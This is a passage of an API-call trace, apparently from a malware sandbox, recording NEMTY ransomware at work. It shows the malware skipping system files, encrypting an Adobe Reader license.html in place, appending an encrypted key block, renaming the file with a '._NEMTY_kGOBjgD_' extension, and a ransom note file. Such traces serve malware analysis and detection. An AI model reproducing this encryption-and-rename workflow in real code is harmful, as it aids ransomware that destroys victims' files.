(lpString1="eula.ini", lpString2="...") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.860] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.861] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.861] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.861] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.861] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.861] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.861] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.861] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.861] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.862] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.863] Sleep (dwMilliseconds=0x5) [0172.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ab08a70, dwHighDateTime=0x1d561e8)) [0172.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ab08a70, dwHighDateTime=0x1d561e8)) [0172.877] GetLastError () returned 0xb7 [0172.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.877] GetLastError () returned 0xb7 [0172.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.877] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.877] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.877] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.878] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="QeQcEDLOO9oACkR7ulqZ1BbA7oyGUsD2KoAg7+ZX5f/HTVYiQPvGN2G0SpMEzTa1\r\nV0sQ0z6vU0pkaZmKYIX8AGzMzPzzY/6vSa4KgpSZlTsq1zeR3tcnf14m5AkUXWuY\r\nIll2+S/P8UZi2A7Cu8zOy1qjWHsUiE2Jja6GZG8L4EHnWzWEDkpGEpWHGPdwaGS6\r\nDVe4wZ1xWKSjSWKtE4QaPTSiJe0szUlWrXMG5UCn9/9FtsxmYihEdaZbnhFeRIHr\r\nFZ9L6GtxOM0RrVuRTEs7sosFqPtKfzsBieza9Naff6TFvGPdPp9Z4jx/ycGaP8bD\r\n+ZgSqwKPYmGRLbH1h5V2Hg==\r\n", pcchString=0x653e5dc) returned 1 [0172.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.878] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=73459) returned 1 [0172.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11ef0) returned 0x6352c48 [0172.878] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.878] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11ef0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11ef0, lpOverlapped=0x0) returned 1 [0172.884] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.884] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11ef0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11ef0, lpOverlapped=0x0) returned 1 [0172.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.887] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=73459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11ef3 [0172.887] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.887] CloseHandle (hObject=0x3b0) returned 1 [0172.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.888] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html._nemty_kgobjgd_")) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.888] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aabc7b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aabc7b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aabc7b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.888] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.889] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.890] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aabc7b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aabc7b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aabc7b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.890] FindClose (in: hFindFile=0x3423ab0 | 